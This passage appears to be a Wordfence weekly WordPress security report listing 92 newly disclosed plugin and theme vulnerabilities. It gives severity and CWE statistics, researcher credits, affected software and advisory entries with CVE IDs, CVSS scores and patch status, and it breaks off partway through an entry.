Description
Last week, there were 92 vulnerabilities disclosed in 76 WordPress Plugins and 7 WordPress themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were 34 Vulnerability Researchers that contributed to WordPress Security last week. **Review those vulnerabilities in this report now to ensure your site is not affected.**
Our mission with Wordfence Intelligence is to make valuable vulnerability information easily accessible to everyone, like the WordPress community, so individuals and organizations alike can utilize that data to make the internet more secure. That is why the Wordfence Intelligence user interface and vulnerability API are completely free to access and utilize both personally and commercially, and why we are running this weekly vulnerability report.
_[Click here to sign-up for our mailing list](<https://www.wordfence.com/subscribe-to-the-wordfence-email-list/>) to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published. _
* * *
### New Firewall Rules Deployed Last Week
The Wordfence Threat Intelligence Team reviews each vulnerability to determine impact and severity, along with assessing the likelihood of exploitation, to verify that the Wordfence Firewall provides sufficient protection.
The team rolled out enhanced protection via firewall rules for the following vulnerabilities in real-time to our Premium, Care, and Response customers last week:
* [UpdraftPlus 1.22.14 to 1.23.2 and UpdraftPlus (Premium) 2.22.14 to 2.23.2 - Privilege Escalation via updraft_central_ajax_handler](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus/updraft-plus-12214-to-1232-privilege-escalation-via-updraft-central-ajax-handler>)
* WAF-RULE-565 - Data redacted while we work with the developer to ensure the vulnerability protected by this WAF rule gets patched.
Wordfence Premium, Care, and Response customers received this protection immediately, while users still running the free version of Wordfence will receive this enhanced protection after a 30 day delay.
* * *
### Total Unpatched & Patched Vulnerabilities Last Week
**Patch Status** | **Number of Vulnerabilities**
---|---
Unpatched | 44
Patched | 48
* * *
### Total Vulnerabilities by CVSS Severity Last Week
**Severity Rating** | **Number of Vulnerabilities**
---|---
Low Severity | 0
Medium Severity | 80
High Severity | 11
Critical Severity | 1
* * *
### Total Vulnerabilities by CWE Type Last Week
**Vulnerability Type by CWE** | **Number of Vulnerabilities**
---|---
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 37
Cross-Site Request Forgery (CSRF) | 34
Missing Authorization | 13
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 3
Information Exposure | 3
Server-Side Request Forgery (SSRF) | 1
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') | 1
* * *
### Researchers That Contributed to WordPress Security Last Week
**Researcher Name** | **Number of Vulnerabilities**
---|---
[Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) | 10
[Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>) | 7
[Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>) | 6
[rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>) | 5
[Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>) | 4
[minhtuanact](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/minhtuanact>) | 3
[Rafie Muhammad](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafie-muhammad>) | 3
[yuyudhn](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/yuyudhn>) | 3
[Rafshanzani Suhada](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafshanzani-suhada>) | 3
[Nithissh S](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nithissh-s>) | 3
[Aman Rawat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/aman-rawat>) | 2
[Marco Wotschka](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/marco-wotschka>) | 2
[Cat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/cat>) | 2
[TEAM WEBoB of BoB 11th](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/team-webob-of-bob-11th>) | 2
[Prasanna V Balaji](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/prasanna-v-balaji>) | 2
[Daniel Kelley](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daniel-kelley>) | 2
[Ayoub Safa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ayoub-safa>) | 2
[Muhammad Daffa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/muhammad-daffa>) | 2
[FearZzZz](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/vlad-visse>) | 1
[Bhuvanesh Jayaprakash](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/bhuvanesh-jayaprakash>) | 1
[Erwan LR](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/erwan>) | 1
[Etan Imanol Castro Aldrete](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/etan-imanol-castro-aldrete>) | 1
[Dimas Aprilianto](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dimas-aprilianto>) | 1
[dc11](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dc11>) | 1
[Shreya Pohekar](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/shreya-pohekar>) | 1
[Justiice](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/justiice>) | 1
[Nguyen Anh Tien](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nguyen-anh-tien>) | 1
[Vinay Kumar](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/vinay-kumar>) | 1
[Abdi Pranata](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/abdi-pranata>) | 1
[Brandon James Roldan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/brandon-james-roldan>) | 1
[Pavak Tiwari](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/pavak-tiwari>) | 1
[n0paew](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/n0paew>) | 1
[Fariq Fadillah Gusti Insani](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/fariq-fadillah-gusti-insani>) | 1
[Le Ngoc Anh](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/le-ngoc-anh>) | 1
_Are you a security researcher who would like to be featured in our weekly vulnerability report?_ You can responsibly disclose your WordPress vulnerability discoveries to us and [obtain a CVE ID through this form](<https://www.wordfence.com/request-cve/>). Responsibly disclosing your vulnerability discoveries to us will also get your name added on the [Wordfence Intelligence leaderboard](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/>) along with being mentioned in our weekly vulnerability report.
* * *
### WordPress Plugins with Reported Vulnerabilities Last Week
**Software Name** | **Software Slug**
---|---
Admin side data storage for Contact Form 7 | [admin-side-data-storage-for-contact-form-7](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/admin-side-data-storage-for-contact-form-7>)
Auto Rename Media On Upload | [auto-rename-media-on-upload](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/auto-rename-media-on-upload>)
Backup Bank: WordPress Backup Plugin | [wp-backup-bank](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-backup-bank>)
Be POPIA Compliant | [be-popia-compliant](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/be-popia-compliant>)
Branda – White Label WordPress, Custom Login Page Customizer | [branda-white-labeling](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/branda-white-labeling>)
Bulk Resize Media | [bulk-resize-media](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bulk-resize-media>)
CF7 Invisible reCAPTCHA | [cf7-invisible-recaptcha](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cf7-invisible-recaptcha>)
CMS Press | [cms-press](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cms-press>)
Calendar Event Multi View | [cp-multi-view-calendar](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cp-multi-view-calendar>)
Chronoforms | [chronoforms](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/chronoforms>)
Contact Form 7 Redirect & Thank You Page | [cf7-redirect-thank-you-page](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cf7-redirect-thank-you-page>)
Contact Form 7 – PayPal & Stripe Add-on | [contact-form-7-paypal-add-on](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-7-paypal-add-on>)
Contact Form Email | [contact-form-to-email](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-to-email>)
Custom Options Plus | [custom-options-plus](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/custom-options-plus>)
Customify – Intuitive Website Styling | [customify](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/customify>)
Data Tables Generator by Supsystic | [data-tables-generator-by-supsystic](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/data-tables-generator-by-supsystic>)
Drag and Drop Multiple File Upload PRO - Contact Form 7 Standard | [drag-n-drop-upload-cf7-pro](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-n-drop-upload-cf7-pro>)
Dynamics 365 Integration | [integration-dynamics](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integration-dynamics>)
Easy Event calendar | [easy-event-calendar](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-event-calendar>)
Ecwid Ecommerce Shopping Cart | [ecwid-shopping-cart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ecwid-shopping-cart>)
Embed Any Document – Embed PDF, Word, PowerPoint and Excel Files | [embed-any-document](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/embed-any-document>)
Event Manager and Tickets Selling Plugin for WooCommerce | [mage-eventpress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mage-eventpress>)
Exxp | [exxp-wp](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/exxp-wp>)
Fluid Checkout for WooCommerce – Lite | [fluid-checkout](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluid-checkout>)
Force First and Last Name as Display Name | [force-first-last](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/force-first-last>)
Google XML Sitemap for Images | [google-image-sitemap](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/google-image-sitemap>)
Google XML Sitemap for Videos | [xml-sitemaps-for-videos](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/xml-sitemaps-for-videos>)
HT Feed | [ht-instagram](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ht-instagram>)
Hotel Booking Lite | [motopress-hotel-booking-lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/motopress-hotel-booking-lite>)
Import External Images | [import-external-images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/import-external-images>)
Klaviyo | [klaviyo](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/klaviyo>)
LOGIN AND REGISTRATION ATTEMPTS LIMIT | [login-attempts-limit-wp](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/login-attempts-limit-wp>)
Modern Events Calendar Lite | [modern-events-calendar-lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/modern-events-calendar-lite>)
Modern Footnotes | [modern-footnotes](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/modern-footnotes>)
Open RDW kenteken voertuiginformatie | [open-rdw-kenteken-voertuiginformatie](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/open-rdw-kenteken-voertuiginformatie>)
PB SEO Friendly Images | [pb-seo-friendly-images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/pb-seo-friendly-images>)
PhonePe Payment Solutions | [phonepe-payment-solutions](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/phonepe-payment-solutions>)
Photo Gallery, Images, Slider in Rbs Image Gallery | [robo-gallery](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/robo-gallery>)
Popup Maker – Popup for opt-ins, lead gen, & more | [popup-maker](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/popup-maker>)
Print Invoice & Delivery Notes for WooCommerce | [woocommerce-delivery-notes](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-delivery-notes>)
RapidLoad Power-Up for Autoptimize | [unusedcss](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/unusedcss>)
Redirection | [redirect-redirection](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/redirect-redirection>)
Return and Warranty Management System for WooCommerce | [wc-return-warrranty](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-return-warrranty>)
Reusable Blocks Extended | [reusable-blocks-extended](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/reusable-blocks-extended>)
SEO Plugin by Squirrly SEO | [squirrly-seo](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/squirrly-seo>)
SMTP2GO – Email Made Easy | [smtp2go](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smtp2go>)
Shopping Cart & eCommerce Store | [wp-easycart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-easycart>)
Site Reviews | [site-reviews](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/site-reviews>)
Slide Anything – Responsive Content / HTML Slider and Carousel | [slide-anything](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slide-anything>)
Slideshow Gallery LITE | [slideshow-gallery](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slideshow-gallery>)
Solidres – Hotel booking plugin for WordPress | [solidres](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/solidres>)
Store Locator for WordPress with Google Maps – LotsOfLocales | [store-locator](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/store-locator>)
Surbma | GDPR Proof Cookie Consent & Notice Bar | [surbma-gdpr-proof-google-analytics](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/surbma-gdpr-proof-google-analytics>)
Tags Cloud Manager | [tags-cloud-manager](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tags-cloud-manager>)
UpdraftPlus WordPress Backup Plugin | [updraftplus](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus>)
User Role by BestWebSoft – Add and Customize Roles and Capabilities in WordPress | [user-role](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-role>)
WH Testimonials | [wh-testimonials](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wh-testimonials>)
WP Basic Elements | [wp-basic-elements](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-basic-elements>)
WP Express Checkout (Accept PayPal Payments Easily) | [wp-express-checkout](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-express-checkout>)
WP Job Portal – A Complete Job Board | [wp-job-portal](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-job-portal>)
WP Popup Banners | [wp-popup-banners](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-popup-banners>)
WP Shortcode by MyThemeShop | [wp-shortcode](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-shortcode>)
WP Simple Events | [wp-simple-events](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-simple-events>)
WSB Brands | [wsb-brands](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wsb-brands>)
Website Monetization by MageNet | [website-monetization-by-magenet](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/website-monetization-by-magenet>)
WooCommerce Weight Based Shipping | [weight-based-shipping-for-woocommerce](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/weight-based-shipping-for-woocommerce>)
WordPress Console | [wordpress-console](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-console>)
WordPress Email Marketing Plugin – WP Email Capture | [wp-email-capture](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-email-capture>)
WordPress Mortgage Calculator Estatik | [estatik-mortgage-calculator](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/estatik-mortgage-calculator>)
WordPress Online Booking and Scheduling Plugin – Bookly | [bookly-responsive-appointment-booking-tool](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bookly-responsive-appointment-booking-tool>)
WordPress Plugin for Google Maps – WP MAPS | [wp-google-map-plugin](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-google-map-plugin>)
WordPress Simple Shopping Cart | [wordpress-simple-paypal-shopping-cart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-simple-paypal-shopping-cart>)
WordPress WP-Advanced-Search | [wp-advanced-search](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-advanced-search>)
Yandex.News Feed by Teplitsa | [yandexnews-feed-by-teplitsa](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/yandexnews-feed-by-teplitsa>)
eCommerce Product Catalog Plugin for WordPress | [ecommerce-product-catalog](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ecommerce-product-catalog>)
wpml | [wpml](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpml>)
* * *
### WordPress Themes with Reported Vulnerabilities Last Week
**Software Name** | **Software Slug**
---|---
Brilliance | [brilliance](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/brilliance>)
Chankhe | [chankhe](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/chankhe>)
Mediciti Lite | [mediciti-lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/mediciti-lite>)
NewsMag | [newsmag](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/newsmag>)
Real Estate Directory | [real-estate-directory](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/real-estate-directory>)
Regina Lite | [regina-lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/regina-lite>)
intrepidity | [intrepidity](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/intrepidity>)
* * *
### Vulnerability Details
#### [Be POPIA Compliant <= 1.2.0 - Unauthenticated SQL Injection](<https://wordfence.com/threat-intel/vulnerabilities/id/eecd1497-c94e-4f67-8cc5-72afffe9fae2>)
**Affected Software**: [Be POPIA Compliant](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/be-popia-compliant>)
**CVE ID**: CVE-2022-47445
**CVSS Score**: 9.8 (Critical)
**Researcher/s**: [TEAM WEBoB of BoB 11th](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/team-webob-of-bob-11th>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/eecd1497-c94e-4f67-8cc5-72afffe9fae2>
* * *
#### [Intrepidity <= 1.5.1 - Cross-Site Request Forgery via mytheme_add_admin](<https://wordfence.com/threat-intel/vulnerabilities/id/01cc613a-d0b5-4c8f-8961-8f8aaf63b8ac>)
**Affected Software**: [intrepidity](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/intrepidity>)
**CVE ID**: CVE-2023-27634
**CVSS Score**: 8.8 (High)
**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/01cc613a-d0b5-4c8f-8961-8f8aaf63b8ac>
* * *
#### [UpdraftPlus 1.22.14 to 1.23.2 and UpdraftPlus (Premium) 2.22.14 to 2.23.2 - Privilege Escalation via updraft_central_ajax_handler](<https://wordfence.com/threat-intel/vulnerabilities/id/2e329432-c404-4312-969b-42cac345637d>)
**Affected Software**: [UpdraftPlus WordPress Backup Plugin](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus>)
**CVE ID**: CVE Unknown
**CVSS Score**: 8.8 (High)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/2e329432-c404-4312-969b-42cac345637d>
* * *
#### [WP Popup Banners <= 1.2.5 - Authenticated (Subscriber+) SQL Injection](<https://wordfence.com/threat-intel/vulnerabilities/id/8281cb20-73d3-4ab5-910e-d353b2a5cbd8>)
**Affected Software**: [WP Popup Banners](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-popup-banners>)
**CVE ID**: CVE-2023-1471
**CVSS Score**: 8.8 (High)
**Researcher/s**: [Etan Imanol Castro Aldrete](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/etan-imanol-castro-aldrete>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8281cb20-73d3-4ab5-910e-d353b2a5cbd8>
* * *
#### [User Role by BestWebSoft <= 1.6.6 - Cross-Site Request Forgery to Privilege Escalation](<https://wordfence.com/threat-intel/vulnerabilities/id/8b4bc525-a21f-46f2-895a-c8474f72eb92>)
**Affected Software**: [User Role by BestWebSoft – Add and Customize Roles and Capabilities in WordPress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-role>)
**CVE ID**: CVE-2023-0820
**CVSS Score**: 8.8 (High)
**Researcher/s**: [dc11](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dc11>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8b4bc525-a21f-46f2-895a-c8474f72eb92>
* * *
#### [WordPress Email Marketing Plugin – WP Email Capture <= 3.10 - Missing Authorization to Email Capture List Download](<https://wordfence.com/threat-intel/vulnerabilities/id/a41d78b9-9bdb-48dd-b3ec-2559e79fa251>)
**Affected Software**: [WordPress Email Marketing Plugin – WP Email Capture](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-email-capture>)
**CVE ID**: CVE Unknown
**CVSS Score**: 8.2 (High)
**Researcher/s**: Unknown
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/a41d78b9-9bdb-48dd-b3ec-2559e79fa251>
* * *
#### [Admin side data storage for Contact Form 7 <= 1.1.1 - Unauthenticated Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/172b2191-6595-47dd-bf2d-97dc3d17e5ca>)
**Affected Software**: [Admin side data storage for Contact Form 7](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/admin-side-data-storage-for-contact-form-7>)
**CVE ID**: CVE-2023-24420
**CVSS Score**: 7.2 (High)
**Researcher/s**: [Bhuvanesh Jayaprakash](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/bhuvanesh-jayaprakash>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/172b2191-6595-47dd-bf2d-97dc3d17e5ca>
* * *
#### [Tags Cloud Manager <= 1.0.0 - Unauthenticated Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/6ad70391-7ea0-49c0-ac5c-ecf7ddb3c948>)
**Affected Software**: [Tags Cloud Manager](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tags-cloud-manager>)
**CVE ID**: CVE-2023-28166
**CVSS Score**: 7.2 (High)
**Researcher/s**: [Nithissh S](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nithissh-s>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/6ad70391-7ea0-49c0-ac5c-ecf7ddb3c948>
* * *
#### [Shopping Cart & eCommerce Store <= 5.4.2 - Authenticated (Admin+) Local File Inclusion via import_file_url](<https://wordfence.com/threat-intel/vulnerabilities/id/936e753b-b3e9-43c9-8686-c610faa8b20e>)
**Affected Software**: [Shopping Cart & eCommerce Store](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-easycart>)
**CVE ID**: CVE-2023-1124
**CVSS Score**: 7.2 (High)
**Researcher/s**: [Shreya Pohekar](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/shreya-pohekar>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/936e753b-b3e9-43c9-8686-c610faa8b20e>
* * *
#### [WH Testimonials <= 3.0.0 - Unauthenticated Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/b6fe5f1a-787e-4662-915f-c6f04961e194>)
**Affected Software**: [WH Testimonials](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wh-testimonials>)
**CVE ID**: CVE-2023-1372
**CVSS Score**: 7.2 (High)
**Researcher/s**: [Daniel Kelley](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daniel-kelley>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b6fe5f1a-787e-4662-915f-c6f04961e194>
* * *
#### [Bookly <= 21.5 - Unauthenticated Stored Cross-Site Scripting via Name](<https://wordfence.com/threat-intel/vulnerabilities/id/c3efbd9d-e2b5-4915-a964-29a49c7fba86>)
**Affected Software**: [WordPress Online Booking and Scheduling Plugin – Bookly](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bookly-responsive-appointment-booking-tool>)
**CVE ID**: CVE-2023-1172
**CVSS Score**: 7.2 (High)
**Researcher/s**: [Vinay Kumar](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/vinay-kumar>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/c3efbd9d-e2b5-4915-a964-29a49c7fba86>
* * *
#### [Return and Warranty Management System for WooCommerce <= 1.2.3 - Unauthenticated Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/fa1e6527-d874-4003-b36b-5769c2950864>)
**Affected Software**: [Return and Warranty Management System for WooCommerce](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-return-warrranty>)
**CVE ID**: CVE-2023-22710
**CVSS Score**: 7.2 (High)
**Researcher/s**: [Le Ngoc Anh](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/le-ngoc-anh>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/fa1e6527-d874-4003-b36b-5769c2950864>
* * *
#### [Slideshow Gallery LITE <= 1.7.6 - Authenticated(Admin+) SQL Injection](<https://wordfence.com/threat-intel/vulnerabilities/id/61b07604-b206-4f13-b25f-7a6d54236eb1>)
**Affected Software**: [Slideshow Gallery LITE](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slideshow-gallery>)
**CVE ID**: CVE-2023-28491
**CVSS Score**: 6.5 (Medium)
**Researcher/s**: [minhtuanact](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/minhtuanact>)
**Patch Status**: Patched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/61b07604-b206-4f13-b25f-7a6d54236eb1>
* * *
#### [Exxp <= 2.6.8 - Authenticated (Subscriber+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/0de75f3f-1e6b-42ea-9f08-54c32e37b4c7>)
**Affected Software**: [Exxp](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/exxp-wp>)
**CVE ID**: CVE-2022-45812
**CVSS Score**: 6.4 (Medium)
**Researcher/s**: [Aman Rawat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/aman-rawat>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/0de75f3f-1e6b-42ea-9f08-54c32e37b4c7>
* * *
#### [Slide Anything <= 2.4.7 - Authenticated (Author+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/130b069d-d224-44af-b2b4-26be7e081f6b>)
**Affected Software**: [Slide Anything – Responsive Content / HTML Slider and Carousel](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slide-anything>)
**CVE ID**: CVE-2023-28499
**CVSS Score**: 6.4 (Medium)
**Researcher/s**: [FearZzZz](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/vlad-visse>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/130b069d-d224-44af-b2b4-26be7e081f6b>
* * *
#### [Surbma | GDPR Proof Cookie Consent & Notice Bar <= 17.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/48b9f3e3-b7fd-4d7c-8f8b-b11ed977aa92>)
**Affected Software**: [Surbma | GDPR Proof Cookie Consent & Notice Bar](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/surbma-gdpr-proof-google-analytics>)
**CVE ID**: CVE-2023-23894
**CVSS Score**: 6.4 (Medium)
**Researcher/s**: [yuyudhn](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/yuyudhn>)
**Patch Status**: Unpatched
**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/48b9f3e3-b7fd-4d7c-8f8b-b11ed977aa92>
* * *
#### [Robo Gallery <= 3.2.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcodes](<https://wordfence.com/threat-intel/vulnerabilities/id/4e0424f8-f60f-49c3-9969-a88c830dc0e2>)
